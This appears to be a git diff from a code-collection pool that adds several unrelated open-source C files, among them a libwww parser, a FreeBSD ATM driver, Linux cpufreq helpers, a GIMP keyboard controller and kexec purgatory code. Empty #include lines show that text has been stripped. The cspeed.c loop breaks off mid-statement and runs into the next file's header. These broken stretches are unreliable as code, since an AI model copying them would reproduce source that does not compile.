(char *) HTList_removeLastObject(UserList))) + HT_FREE(userName); + HTList_delete(UserList); + UserList = NULL; + return YES; +} + +PUBLIC char * CSUserList_findURL(char * username) +{ + HTList * cur = UserList; + UserListStruct_t * pUser; + while ((pUser = (UserListStruct_t *) HTList_nextObject(cur))) { + if (!strcasecomp(username, pUser->name)) + return pUser->url; + } + return 0; +} + +PUBLIC int CSUserList_enum(CSUserListCallback* pCallback, void * pVoid) +{ + HTList * cur = UserList; + UserListStruct_t * pUser; + int retVal, i = 0; + while ((pUser = (UserListStruct_t *) HTList_nextObject(cur))) { + if ((retVal = (*pCallback)(pUser->name, pUser->url, i, pVoid)) != CSError_OK) + return (retVal); + i++; + } + return 0; +} + +/* +** Folding is either of CF LWS, LF LWS, CRLF LWS +*/ +PRIVATE int CSUserList_put_block (HTStream * me, const char * b, int l) +{ + while (l > 0) { + if (me->EOLstate == EOL_FCR) { + if (*b == LF) /* CRLF */ + me->EOLstate = EOL_FLF; + else if (isspace((int) *b)) /* Folding: CR SP */ + me->EOLstate = EOL_DOT; + else { /* New line */ + CSUserList_addLine(me); + me->EOLstate = EOL_BEGIN; + HTChunkClear(me->buffer); + continue; + } + } else if (me->EOLstate == EOL_FLF) { + if (isspace((int) *b)) /* Folding: LF SP or CR LF SP */ + me->EOLstate = EOL_DOT; + else { /* New line */ + CSUserList_addLine(me); + me->EOLstate = EOL_BEGIN; + HTChunkClear(me->buffer); + continue; + } + } else if (me->EOLstate == EOL_DOT) { + if (isspace((int) *b)) { + me->EOLstate = EOL_BEGIN; + HTChunkPutc(me->buffer, ' '); + } else { + CSUserList_addLine(me); + me->EOLstate = EOL_BEGIN; + HTChunkClear(me->buffer); + continue; + } + } else if (*b == CR) { + me->EOLstate = EOL_FCR; + } else if (*b == LF) { + me->EOLstate = EOL_FLF; /* Line found */ + } else + HTChunkPutc(me->buffer, *b); + l--; b++; + } + if (HTChunk_size(me->buffer)) + CSUserList_addLine(me); + return HT_OK; +} + +PRIVATE int CSUserList_put_character (HTStream * me, char c) +{ + return CSUserList_put_block(me, &c, 1); +} + +PRIVATE int CSUserList_put_string (HTStream * me, const char * s) +{ + return CSUserList_put_block(me, s, (int) strlen(s)); +} + +PRIVATE int CSUserList_flush (HTStream * me) +{ + return (*me->target->isa->flush)(me->target); +} + +PRIVATE int CSUserList_free (HTStream * me) +{ + int status = HT_OK; + if (me->target) { + if ((status = (*me->target->isa->_free)(me->target)) == HT_WOULD_BLOCK) + return HT_WOULD_BLOCK; + } + HTTRACE(APP_TRACE, "Rules....... FREEING....\n"); + HTChunkFree(me->buffer); +/* HTList_delete(me->URLs); */ + HT_FREE(me); + return status; +} + +PRIVATE int CSUserList_abort (HTStream * me, HTList * e) +{ + int status = HT_ERROR; + if (me->target) status = (*me->target->isa->abort)(me->target, e); + HTTRACE(APP_TRACE, "Rules....... ABORTING...\n"); + HTChunkFree(me->buffer); +/* HTList_delete(me->URLs); */ + HT_FREE(me); + return status; +} + +/* Structured Object Class +** ----------------------- +*/ +PRIVATE const HTStreamClass CSUserListClass = +{ + "URLListCollector", + CSUserList_flush, + CSUserList_free, + CSUserList_abort, + CSUserList_put_character, + CSUserList_put_string, + CSUserList_put_block +}; + +PUBLIC HTStream * CSUserLists (HTRequest * request, + void * param, + HTFormat input_format, + HTFormat output_format, + HTStream * output_stream) +{ + HTStream * me; + if ((me = (HTStream *) HT_CALLOC(1, sizeof(HTStream))) == NULL) + HT_OUTOFMEM("CSUserLists"); + me->isa = &CSUserListClass; + me->request = request; + me->target = output_stream; + me->buffer = HTChunkCreate(512); +/* me->URLs = HTList_new(); */ + if (!UserList) + UserList = HTList_new(); + me->EOLstate = EOL_BEGIN; +/* + if (HTRequest_context(request)) + *((HTList **)HTRequest_context(request)) = me->URLs; +*/ + return me; +} + diff --git a/pool/shard011/C/0142234_fore_command.c b/pool/shard011/C/0142234_fore_command.c new file mode 100644 index 0000000000000000000000000000000000000000..6103bec07b8c7f38c04b46f8508d93ea491ae946 --- /dev/null +++ b/pool/shard011/C/0142234_fore_command.c @@ -0,0 +1,447 @@ +/* + * + * =================================== + * HARP | Host ATM Research Platform + * =================================== + * + * + * This Host ATM Research Platform ("HARP") file (the "Software") is + * made available by Network Computing Services, Inc. ("NetworkCS") + * "AS IS". NetworkCS does not provide maintenance, improvements or + * support of any kind. + * + * NETWORKCS MAKES NO WARRANTIES OR REPRESENTATIONS, EXPRESS OR IMPLIED, + * INCLUDING, BUT NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY + * AND FITNESS FOR A PARTICULAR PURPOSE, AS TO ANY ELEMENT OF THE + * SOFTWARE OR ANY SUPPORT PROVIDED IN CONNECTION WITH THIS SOFTWARE. + * In no event shall NetworkCS be responsible for any damages, including + * but not limited to consequential damages, arising from or relating to + * any use of the Software or related support. + * + * Copyright 1994-1998 Network Computing Services, Inc. + * + * Copies of this Software may be made, however, the above copyright + * notice must be reproduced on all copies. + * + * @(#) $FreeBSD: src/sys/dev/hfa/fore_command.c,v 1.6 1999/08/28 00:41:49 peter Exp $ + * + */ + +/* + * FORE Systems 200-Series Adapter Support + * --------------------------------------- + * + * Command queue management + * + */ + +#include + +#ifndef lint +__RCSID("@(#) $FreeBSD: src/sys/dev/hfa/fore_command.c,v 1.6 1999/08/28 00:41:49 peter Exp $"); +#endif + +/* + * Local variables + */ +static struct t_atm_cause fore_cause = { + T_ATM_ITU_CODING, + T_ATM_LOC_USER, + T_ATM_CAUSE_TEMPORARY_FAILURE, + {0, 0, 0, 0} +}; + + +/* + * Allocate Command Queue Data Structures + * + * Arguments: + * fup pointer to device unit structure + * + * Returns: + * 0 allocations successful + * else allocation failed + */ +int +fore_cmd_allocate(fup) + Fore_unit *fup; +{ + caddr_t memp; + + /* + * Allocate non-cacheable memory for command status words + */ + memp = atm_dev_alloc(sizeof(Q_status) * CMD_QUELEN, + QSTAT_ALIGN, ATM_DEV_NONCACHE); + if (memp == NULL) { + return (1); + } + fup->fu_cmd_stat = (Q_status *) memp; + + memp = DMA_GET_ADDR(fup->fu_cmd_stat, sizeof(Q_status) * CMD_QUELEN, + QSTAT_ALIGN, ATM_DEV_NONCACHE); + if (memp == NULL) { + return (1); + } + fup->fu_cmd_statd = (Q_status *) memp; + + /* + * Allocate memory for statistics buffer + */ + memp = atm_dev_alloc(sizeof(Fore_stats), FORE_STATS_ALIGN, 0); + if (memp == NULL) { + return (1); + } + fup->fu_stats = (Fore_stats *) memp; + +#ifdef FORE_PCI + /* + * Allocate memory for PROM buffer + */ + memp = atm_dev_alloc(sizeof(Fore_prom), FORE_PROM_ALIGN, 0); + if (memp == NULL) { + return (1); + } + fup->fu_prom = (Fore_prom *) memp; +#endif + + return (0); +} + + +/* + * Command Queue Initialization + * + * Allocate and initialize the host-resident command queue structures + * and then initialize the CP-resident queue structures. + * + * Called at interrupt level. + * + * Arguments: + * fup pointer to device unit structure + * + * Returns: + * none + */ +void +fore_cmd_initialize(fup) + Fore_unit *fup; +{ + Aali *aap = fup->fu_aali; + Cmd_queue *cqp; + H_cmd_queue *hcp; + Q_status *qsp; + Q_status *qsp_dma; + int i; + + /* + * Point to CP-resident command queue + */ + cqp = (Cmd_queue *)(fup->fu_ram + CP_READ(aap->aali_cmd_q)); + + /* + * Point to host-resident command queue structures + */ + hcp = fup->fu_cmd_q; + qsp = fup->fu_cmd_stat; + qsp_dma = fup->fu_cmd_statd; + + /* + * Loop thru all queue entries and do whatever needs doing + */ + for (i = 0; i < CMD_QUELEN; i++) { + + /* + * Set queue status word to free + */ + *qsp = QSTAT_FREE; + + /* + * Set up host queue entry and link into ring + */ + hcp->hcq_cpelem = cqp; + hcp->hcq_status = qsp; + if (i == (CMD_QUELEN - 1)) + hcp->hcq_next = fup->fu_cmd_q; + else + hcp->hcq_next = hcp + 1; + + /* + * Now let the CP into the game + */ + cqp->cmdq_status = (CP_dma) CP_WRITE(qsp_dma); + + /* + * Bump all queue pointers + */ + hcp++; + qsp++; + qsp_dma++; + cqp++; + } + + /* + * Initialize queue pointers + */ + fup->fu_cmd_head = fup->fu_cmd_tail = fup->fu_cmd_q; + + return; +} + + +/* + * Drain Command Queue + * + * This function will process and free all completed entries at the head + * of the command queue. + * + * May be called in interrupt state. + * Must be called with interrupts locked out. + * + * Arguments: + * fup pointer to device unit structure + * + * Returns: + * none + */ +void +fore_cmd_drain(fup) + Fore_unit *fup; +{ + H_cmd_queue *hcp; + Fore_vcc *fvp; + + /* + * Process each completed entry + */ + while (*fup->fu_cmd_head->hcq_status & QSTAT_COMPLETED) { + + hcp = fup->fu_cmd_head; + + /* + * Process command completion + */ + switch (hcp->hcq_code) { + + case CMD_ACT_VCCIN: + case CMD_ACT_VCCOUT: + fvp = hcp->hcq_arg; + if (*hcp->hcq_status & QSTAT_ERROR) { + /* + * VCC activation failed - just abort vcc + */ + if (fvp) + atm_cm_abort(fvp->fv_connvc, + &fore_cause); + fup->fu_pif.pif_cmderrors++; + } else { + /* + * Successful VCC activation + */ + if (fvp) { + fvp->fv_state = CVS_ACTIVE; + fup->fu_open_vcc++; + } + } + break; + + case CMD_DACT_VCCIN: + case CMD_DACT_VCCOUT: + fvp = hcp->hcq_arg; + if (*hcp->hcq_status & QSTAT_ERROR) { + /* + * VCC dactivation failed - whine + */ + log(LOG_ERR, + "fore_cmd_drain: DACT failed, vcc=(%d,%d)\n", + fvp->fv_connvc->cvc_vcc->vc_vpi, + fvp->fv_connvc->cvc_vcc->vc_vci); + fup->fu_pif.pif_cmderrors++; + } else { + /* + * Successful VCC dactivation - so what? + */ + } + break; + + case CMD_GET_STATS: + if (*hcp->hcq_status & QSTAT_ERROR) { + /* + * Couldn't get stats + */ + fup->fu_pif.pif_cmderrors++; + fup->fu_stats_ret = EIO; + } else { + /* + * Stats are now in unit buffer + */ + fup->fu_stats_ret = 0; + } + DMA_FREE_ADDR(fup->fu_stats, fup->fu_statsd, + sizeof(Fore_cp_stats), 0); + fup->fu_flags &= ~FUF_STATCMD; + + /* + * Flush received stats data + */ +#ifdef VAC + if (vac) + vac_pageflush((addr_t)fup->fu_stats); +#endif + +#if BYTE_ORDER == LITTLE_ENDIAN + /* + * Little endian machines receives the stats in + * wrong byte order. Instead of swapping in user + * land, swap here so that everything going out + * of the kernel is in correct host order. + */ + { + u_long *bp = (u_long *)fup->fu_stats; + int loop; + + for ( loop = 0; loop < sizeof(Fore_cp_stats)/ + sizeof(long); loop++, bp++ ) + *bp = ntohl(*bp); + } +#endif /* BYTE_ORDER == LITTLE_ENDIAN */ + + /* + * Poke whoever is waiting on the stats + */ + wakeup((caddr_t)&fup->fu_stats); + break; + +#ifdef FORE_PCI + case CMD_GET_PROM: + if (*hcp->hcq_status & QSTAT_ERROR) { + /* + * Couldn't get PROM data + */ + fup->fu_pif.pif_cmderrors++; + log(LOG_ERR, + "fore_cmd_drain: %s%d: GET_PROM failed\n", + fup->fu_pif.pif_name, + fup->fu_pif.pif_unit); + } else { + Fore_prom *fp = fup->fu_prom; + + /* + * Flush received PROM data + */ +#ifdef VAC + if (vac) + vac_pageflush((addr_t)fp); +#endif + /* + * Copy PROM info into config areas + */ + KM_COPY(&fp->pr_mac[2], + &fup->fu_pif.pif_macaddr, + sizeof(struct mac_addr)); + fup->fu_config.ac_macaddr = + fup->fu_pif.pif_macaddr; + snprintf(fup->fu_config.ac_hard_vers, + sizeof(fup->fu_config.ac_hard_vers), + "%ld.%ld.%ld", + (fp->pr_hwver >> 16) & 0xff, + (fp->pr_hwver >> 8) & 0xff, + fp->pr_hwver & 0xff); + fup->fu_config.ac_serial = fp->pr_serno; + } + + DMA_FREE_ADDR(fup->fu_prom, fup->fu_promd, + sizeof(Fore_prom), 0); + break; +#endif /* FORE_PCI */ + + default: + log(LOG_ERR, "fore_cmd_drain: unknown command %ld\n", + hcp->hcq_code); + } + + /* + * Mark this entry free for use and bump head pointer + * to the next entry in the queue + */ + *hcp->hcq_status = QSTAT_FREE; + fup->fu_cmd_head = hcp->hcq_next; + } + + return; +} + + +/* + * Free Command Queue Data Structures + * + * Arguments: + * fup pointer to device unit structure + * + * Returns: + * none + */ +void +fore_cmd_free(fup) + Fore_unit *fup; +{ + H_cmd_queue *hcp; + + /* + * Deal with any commands left on the queue + */ + if (fup->fu_flags & CUF_INITED) { + while (*fup->fu_cmd_head->hcq_status != QSTAT_FREE) { + hcp = fup->fu_cmd_head; + + switch (hcp->hcq_code) { + + case CMD_GET_STATS: + /* + * Just in case someone is sleeping on this + */ + fup->fu_stats_ret = EIO; + wakeup((caddr_t)&fup->fu_stats); + break; + } + + *hcp->hcq_status = QSTAT_FREE; + fup->fu_cmd_head = hcp->hcq_next; + } + } + + /* + * Free the statistics buffer + */ + if (fup->fu_stats) { + atm_dev_free(fup->fu_stats); + fup->fu_stats = NULL; + } + +#ifdef FORE_PCI + /* + * Free the PROM buffer + */ + if (fup->fu_prom) { + atm_dev_free(fup->fu_prom); + fup->fu_prom = NULL; + } +#endif + + /* + * Free the status words + */ + if (fup->fu_cmd_stat) { + if (fup->fu_cmd_statd) { + DMA_FREE_ADDR(fup->fu_cmd_stat, fup->fu_cmd_statd, + sizeof(Q_status) * CMD_QUELEN, + ATM_DEV_NONCACHE); + } + atm_dev_free((volatile void *)fup->fu_cmd_stat); + fup->fu_cmd_stat = NULL; + fup->fu_cmd_statd = NULL; + } + + return; +} + diff --git a/pool/shard011/C/0142235_freq_table.c b/pool/shard011/C/0142235_freq_table.c new file mode 100644 index 0000000000000000000000000000000000000000..a36011fc9dfe2bea629096e0f3404f473850fd1d --- /dev/null +++ b/pool/shard011/C/0142235_freq_table.c @@ -0,0 +1,245 @@ +/* + * linux/drivers/cpufreq/freq_table.c + * + * Copyright (C) 2002 - 2003 Dominik Brodowski + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + */ + +#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt + +#include +#include +#include +#include + +/********************************************************************* + * FREQUENCY TABLE HELPERS * + *********************************************************************/ + +int cpufreq_frequency_table_cpuinfo(struct cpufreq_policy *policy, + struct cpufreq_frequency_table *table) +{ + unsigned int min_freq = ~0; + unsigned int max_freq = 0; + unsigned int i; + + for (i = 0; (table[i].frequency != CPUFREQ_TABLE_END); i++) { + unsigned int freq = table[i].frequency; + if (freq == CPUFREQ_ENTRY_INVALID) { + pr_debug("table entry %u is invalid, skipping\n", i); + + continue; + } + pr_debug("table entry %u: %u kHz, %u index\n", + i, freq, table[i].index); + if (freq < min_freq) + min_freq = freq; + if (freq > max_freq) + max_freq = freq; + } + + policy->min = policy->cpuinfo.min_freq = min_freq; + policy->max = policy->cpuinfo.max_freq = max_freq; + + if (policy->min == ~0) + return -EINVAL; + else + return 0; +} +EXPORT_SYMBOL_GPL(cpufreq_frequency_table_cpuinfo); + + +int cpufreq_frequency_table_verify(struct cpufreq_policy *policy, + struct cpufreq_frequency_table *table) +{ + unsigned int next_larger = ~0, freq, i = 0; + bool found = false; + + pr_debug("request for verification of policy (%u - %u kHz) for cpu %u\n", + policy->min, policy->max, policy->cpu); + + cpufreq_verify_within_limits(policy, policy->cpuinfo.min_freq, + policy->cpuinfo.max_freq); + + for (; freq = table[i].frequency, freq != CPUFREQ_TABLE_END; i++) { + if (freq == CPUFREQ_ENTRY_INVALID) + continue; + if ((freq >= policy->min) && (freq <= policy->max)) { + found = true; + break; + } + + if ((next_larger > freq) && (freq > policy->max)) + next_larger = freq; + } + + if (!found) { + policy->max = next_larger; + cpufreq_verify_within_limits(policy, policy->cpuinfo.min_freq, + policy->cpuinfo.max_freq); + } + + pr_debug("verification lead to (%u - %u kHz) for cpu %u\n", + policy->min, policy->max, policy->cpu); + + return 0; +} +EXPORT_SYMBOL_GPL(cpufreq_frequency_table_verify); + +int cpufreq_frequency_table_target(struct cpufreq_policy *policy, + struct cpufreq_frequency_table *table, + unsigned int target_freq, + unsigned int relation, + unsigned int *index) +{ + struct cpufreq_frequency_table optimal = { + .index = ~0, + .frequency = 0, + }; + struct cpufreq_frequency_table suboptimal = { + .index = ~0, + .frequency = 0, + }; + unsigned int i, diff; + + pr_debug("request for target %u kHz (relation: %u) for cpu %u\n", + target_freq, relation, policy->cpu); + + switch (relation) { + case CPUFREQ_RELATION_H: + suboptimal.frequency = ~0; + break; + case CPUFREQ_RELATION_L: + optimal.frequency = ~0; + break; + } + + for (i = 0; (table[i].frequency != CPUFREQ_TABLE_END); i++) { + unsigned int freq = table[i].frequency; + if (freq == CPUFREQ_ENTRY_INVALID) + continue; + if (freq < policy->min || freq > policy->max) + continue; + if (freq == target_freq) { + optimal.index = i; + break; + } + switch (relation) { + case CPUFREQ_RELATION_H: + if (freq < target_freq) { + if (freq >= optimal.frequency) { + optimal.frequency = freq; + optimal.index = i; + } + } else { + if (freq <= suboptimal.frequency) { + suboptimal.frequency = freq; + suboptimal.index = i; + } + } + break; + case CPUFREQ_RELATION_L: + if (freq > target_freq) { + if (freq <= optimal.frequency) { + optimal.frequency = freq; + optimal.index = i; + } + } else { + if (freq >= suboptimal.frequency) { + suboptimal.frequency = freq; + suboptimal.index = i; + } + } + break; + } + } + if (optimal.index > i) { + if (suboptimal.index > i) + return -EINVAL; + *index = suboptimal.index; + } else + *index = optimal.index; + + pr_debug("target is %u (%u kHz, %u)\n", *index, table[*index].frequency, + table[*index].index); + + return 0; +} +EXPORT_SYMBOL_GPL(cpufreq_frequency_table_target); + +static DEFINE_PER_CPU(struct cpufreq_frequency_table *, cpufreq_show_table); +/** + * show_available_freqs - show available frequencies for the specified CPU + */ +static ssize_t show_available_freqs(struct cpufreq_policy *policy, char *buf) +{ + unsigned int i = 0; + unsigned int cpu = policy->cpu; + ssize_t count = 0; + struct cpufreq_frequency_table *table; + + if (!per_cpu(cpufreq_show_table, cpu)) + return -ENODEV; + + table = per_cpu(cpufreq_show_table, cpu); + + for (i = 0; (table[i].frequency != CPUFREQ_TABLE_END); i++) { + if (table[i].frequency == CPUFREQ_ENTRY_INVALID) + continue; + count += sprintf(&buf[count], "%d ", table[i].frequency); + } + count += sprintf(&buf[count], "\n"); + + return count; + +} + +struct freq_attr cpufreq_freq_attr_scaling_available_freqs = { + .attr = { .name = "scaling_available_frequencies", + .mode = 0444, + }, + .show = show_available_freqs, +}; +EXPORT_SYMBOL_GPL(cpufreq_freq_attr_scaling_available_freqs); + +/* + * if you use these, you must assure that the frequency table is valid + * all the time between get_attr and put_attr! + */ +void cpufreq_frequency_table_get_attr(struct cpufreq_frequency_table *table, + unsigned int cpu) +{ + pr_debug("setting show_table for cpu %u to %p\n", cpu, table); + per_cpu(cpufreq_show_table, cpu) = table; +} +EXPORT_SYMBOL_GPL(cpufreq_frequency_table_get_attr); + +void cpufreq_frequency_table_put_attr(unsigned int cpu) +{ + pr_debug("clearing show_table for cpu %u\n", cpu); + per_cpu(cpufreq_show_table, cpu) = NULL; +} +EXPORT_SYMBOL_GPL(cpufreq_frequency_table_put_attr); + +void cpufreq_frequency_table_update_policy_cpu(struct cpufreq_policy *policy) +{ + pr_debug("Updating show_table for new_cpu %u from last_cpu %u\n", + policy->cpu, policy->last_cpu); + per_cpu(cpufreq_show_table, policy->cpu) = per_cpu(cpufreq_show_table, + policy->last_cpu); + per_cpu(cpufreq_show_table, policy->last_cpu) = NULL; +} + +struct cpufreq_frequency_table *cpufreq_frequency_get_table(unsigned int cpu) +{ + return per_cpu(cpufreq_show_table, cpu); +} +EXPORT_SYMBOL_GPL(cpufreq_frequency_get_table); + +MODULE_AUTHOR("Dominik Brodowski "); +MODULE_DESCRIPTION("CPUfreq frequency table helpers"); +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0142236_cspeed.c b/pool/shard011/C/0142236_cspeed.c new file mode 100644 index 0000000000000000000000000000000000000000..b687f63f4c260aec64876ce9c789417dc719cf1e --- /dev/null +++ b/pool/shard011/C/0142236_cspeed.c @@ -0,0 +1,32 @@ +/* + * Copyright (C) 2015 Jussi Pakkanen + * + * This library is free software; you can redistribute it and/or modify it under + * the terms of version 3 of the GNU General Public License as published + * by the Free Software Foundation. + * + * This library is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include"cimpl.h" +#include"common.h" +#include + +int main(int argc, char **argv) { + const int should_throw = argc > 1 ? 1 : 0; + int i; + for(i=0; i + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + +#include "config.h" + +#include +#include + +#include "libgimpwidgets/gimpwidgets.h" + +#include "widgets-types.h" + +#include "gimpcontrollerkeyboard.h" +#include "gimphelp-ids.h" +#include "gimpwidgets-utils.h" + +#include "gimp-intl.h" + + +typedef struct _KeyboardEvent KeyboardEvent; + +struct _KeyboardEvent +{ + const guint keyval; + const GdkModifierType modifiers; + const gchar *name; + const gchar *blurb; +}; + + +static GObject * gimp_controller_keyboard_constructor (GType type, + guint n_params, + GObjectConstructParam *params); + +static gint gimp_controller_keyboard_get_n_events (GimpController *controller); +static const gchar * gimp_controller_keyboard_get_event_name (GimpController *controller, + gint event_id); +static const gchar * gimp_controller_keyboard_get_event_blurb (GimpController *controller, + gint event_id); + + +G_DEFINE_TYPE (GimpControllerKeyboard, gimp_controller_keyboard, + GIMP_TYPE_CONTROLLER) + +#define parent_class gimp_controller_keyboard_parent_class + + +static KeyboardEvent keyboard_events[] = +{ + { GDK_Up, GDK_MOD1_MASK | GDK_CONTROL_MASK | GDK_SHIFT_MASK, + "cursor-up-shift-control-alt", + N_("Cursor Up") }, + { GDK_Up, GDK_MOD1_MASK | GDK_CONTROL_MASK, + "cursor-up-control-alt", + N_("Cursor Up") }, + { GDK_Up, GDK_MOD1_MASK | GDK_SHIFT_MASK, + "cursor-up-shift-alt", + N_("Cursor Up") }, + { GDK_Up, GDK_CONTROL_MASK | GDK_SHIFT_MASK, + "cursor-up-shift-control", + N_("Cursor Up") }, + { GDK_Up, GDK_MOD1_MASK, + "cursor-up-alt", + N_("Cursor Up") }, + { GDK_Up, GDK_CONTROL_MASK, + "cursor-up-control", + N_("Cursor Up") }, + { GDK_Up, GDK_SHIFT_MASK, + "cursor-up-shift", + N_("Cursor Up") }, + { GDK_Up, 0, + "cursor-up", + N_("Cursor Up") }, + + { GDK_Down, GDK_MOD1_MASK | GDK_CONTROL_MASK | GDK_SHIFT_MASK, + "cursor-down-shift-control-alt", + N_("Cursor Down") }, + { GDK_Down, GDK_MOD1_MASK | GDK_CONTROL_MASK, + "cursor-down-control-alt", + N_("Cursor Down") }, + { GDK_Down, GDK_MOD1_MASK | GDK_SHIFT_MASK, + "cursor-down-shift-alt", + N_("Cursor Down") }, + { GDK_Down, GDK_CONTROL_MASK | GDK_SHIFT_MASK, + "cursor-down-shift-control", + N_("Cursor Down") }, + { GDK_Down, GDK_MOD1_MASK, + "cursor-down-alt", + N_("Cursor Down") }, + { GDK_Down, GDK_CONTROL_MASK, + "cursor-down-control", + N_("Cursor Down") }, + { GDK_Down, GDK_SHIFT_MASK, + "cursor-down-shift", + N_("Cursor Down") }, + { GDK_Down, 0, + "cursor-down", + N_("Cursor Down") }, + + { GDK_Left, GDK_MOD1_MASK | GDK_CONTROL_MASK | GDK_SHIFT_MASK, + "cursor-left-shift-control-alt", + N_("Cursor Left") }, + { GDK_Left, GDK_MOD1_MASK | GDK_CONTROL_MASK, + "cursor-left-control-alt", + N_("Cursor Left") }, + { GDK_Left, GDK_MOD1_MASK | GDK_SHIFT_MASK, + "cursor-left-shift-alt", + N_("Cursor Left") }, + { GDK_Left, GDK_CONTROL_MASK | GDK_SHIFT_MASK, + "cursor-left-shift-control", + N_("Cursor Left") }, + { GDK_Left, GDK_MOD1_MASK, + "cursor-left-alt", + N_("Cursor Left") }, + { GDK_Left, GDK_CONTROL_MASK, + "cursor-left-control", + N_("Cursor Left") }, + { GDK_Left, GDK_SHIFT_MASK, + "cursor-left-shift", + N_("Cursor Left") }, + { GDK_Left, 0, + "cursor-left", + N_("Cursor Left") }, + + { GDK_Right, GDK_MOD1_MASK | GDK_CONTROL_MASK | GDK_SHIFT_MASK, + "cursor-right-shift-control-alt", + N_("Cursor Right") }, + { GDK_Right, GDK_MOD1_MASK | GDK_CONTROL_MASK, + "cursor-right-control-alt", + N_("Cursor Right") }, + { GDK_Right, GDK_MOD1_MASK | GDK_SHIFT_MASK, + "cursor-right-shift-alt", + N_("Cursor Right") }, + { GDK_Right, GDK_CONTROL_MASK | GDK_SHIFT_MASK, + "cursor-right-shift-control", + N_("Cursor Right") }, + { GDK_Right, GDK_MOD1_MASK, + "cursor-right-alt", + N_("Cursor Right") }, + { GDK_Right, GDK_CONTROL_MASK, + "cursor-right-control", + N_("Cursor Right") }, + { GDK_Right, GDK_SHIFT_MASK, + "cursor-right-shift", + N_("Cursor Right") }, + { GDK_Right, 0, + "cursor-right", + N_("Cursor Right") } +}; + + +static void +gimp_controller_keyboard_class_init (GimpControllerKeyboardClass *klass) +{ + GObjectClass *object_class = G_OBJECT_CLASS (klass); + GimpControllerClass *controller_class = GIMP_CONTROLLER_CLASS (klass); + + object_class->constructor = gimp_controller_keyboard_constructor; + + controller_class->name = _("Keyboard"); + controller_class->help_id = GIMP_HELP_CONTROLLER_KEYBOARD; + controller_class->stock_id = GIMP_STOCK_CONTROLLER_KEYBOARD; + + controller_class->get_n_events = gimp_controller_keyboard_get_n_events; + controller_class->get_event_name = gimp_controller_keyboard_get_event_name; + controller_class->get_event_blurb = gimp_controller_keyboard_get_event_blurb; +} + +static void +gimp_controller_keyboard_init (GimpControllerKeyboard *keyboard) +{ + static gboolean event_names_initialized = FALSE; + + if (! event_names_initialized) + { + gint i; + + for (i = 0; i < G_N_ELEMENTS (keyboard_events); i++) + { + KeyboardEvent *kevent = &keyboard_events[i]; + + if (kevent->modifiers != 0) + { + kevent->blurb = + g_strdup_printf ("%s (%s)", gettext (kevent->blurb), + gimp_get_mod_string (kevent->modifiers)); + } + } + + event_names_initialized = TRUE; + } +} + +static GObject * +gimp_controller_keyboard_constructor (GType type, + guint n_params, + GObjectConstructParam *params) +{ + GObject *object; + + object = G_OBJECT_CLASS (parent_class)->constructor (type, n_params, params); + + g_object_set (object, + "name", _("Keyboard Events"), + "state", _("Ready"), + NULL); + + return object; +} + +static gint +gimp_controller_keyboard_get_n_events (GimpController *controller) +{ + return G_N_ELEMENTS (keyboard_events); +} + +static const gchar * +gimp_controller_keyboard_get_event_name (GimpController *controller, + gint event_id) +{ + if (event_id < 0 || event_id >= G_N_ELEMENTS (keyboard_events)) + return NULL; + + return keyboard_events[event_id].name; +} + +static const gchar * +gimp_controller_keyboard_get_event_blurb (GimpController *controller, + gint event_id) +{ + if (event_id < 0 || event_id >= G_N_ELEMENTS (keyboard_events)) + return NULL; + + return keyboard_events[event_id].blurb; +} + +gboolean +gimp_controller_keyboard_key_press (GimpControllerKeyboard *keyboard, + const GdkEventKey *kevent) +{ + gint i; + + g_return_val_if_fail (GIMP_IS_CONTROLLER_KEYBOARD (keyboard), FALSE); + g_return_val_if_fail (kevent != NULL, FALSE); + + for (i = 0; i < G_N_ELEMENTS (keyboard_events); i++) + { + if (keyboard_events[i].keyval == kevent->keyval) + { + if ((keyboard_events[i].modifiers & kevent->state) == + keyboard_events[i].modifiers) + { + GimpControllerEvent controller_event; + GimpControllerEventTrigger *trigger; + + trigger = (GimpControllerEventTrigger *) &controller_event; + + trigger->type = GIMP_CONTROLLER_EVENT_TRIGGER; + trigger->source = GIMP_CONTROLLER (keyboard); + trigger->event_id = i; + + if (gimp_controller_event (GIMP_CONTROLLER (keyboard), + &controller_event)) + { + return TRUE; + } + } + } + } + + return FALSE; +} diff --git a/pool/shard011/C/0142238_purgatory.c b/pool/shard011/C/0142238_purgatory.c new file mode 100644 index 0000000000000000000000000000000000000000..030efda05dbe54143cf9375ed764a24f7cc0211a --- /dev/null +++ b/pool/shard011/C/0142238_purgatory.c @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: GPL-2.0 +/* + * Purgatory code running between two kernels. + * + * Copyright IBM Corp. 2018 + * + * Author(s): Philipp Rudo + */ + +#include +#include +#include +#include + +int verify_sha256_digest(void) +{ + struct kexec_sha_region *ptr, *end; + u8 digest[SHA256_DIGEST_SIZE]; + struct sha256_state sctx; + + sha256_init(&sctx); + end = purgatory_sha_regions + ARRAY_SIZE(purgatory_sha_regions); + + for (ptr = purgatory_sha_regions; ptr < end; ptr++) + sha256_update(&sctx, (uint8_t *)(ptr->start), ptr->len); + + sha256_final(&sctx, digest); + + if (memcmp(digest, purgatory_sha256_digest, sizeof(digest))) + return 1; + + return 0; +} diff --git a/pool/shard011/C/0142239_coltablegen.c b/pool/shard011/C/0142239_coltablegen.c new file mode 100644 index 0000000000000000000000000000000000000000..8c583531569bb890f1f67baa806b7d42eec1e17e --- /dev/null +++ b/pool/shard011/C/0142239_coltablegen.c @@ -0,0 +1,85 @@ +#include +#include + +/** + * 0001 0000 as occupiedmask with 4 as position generates 1110 0000 + * 1101 0111 as occupiedmask with 4 as position generates 0110 0000 + */ +uint64_t leftray(int mask /* 0-255 */, int pos /* 0-7 */) +{ + int 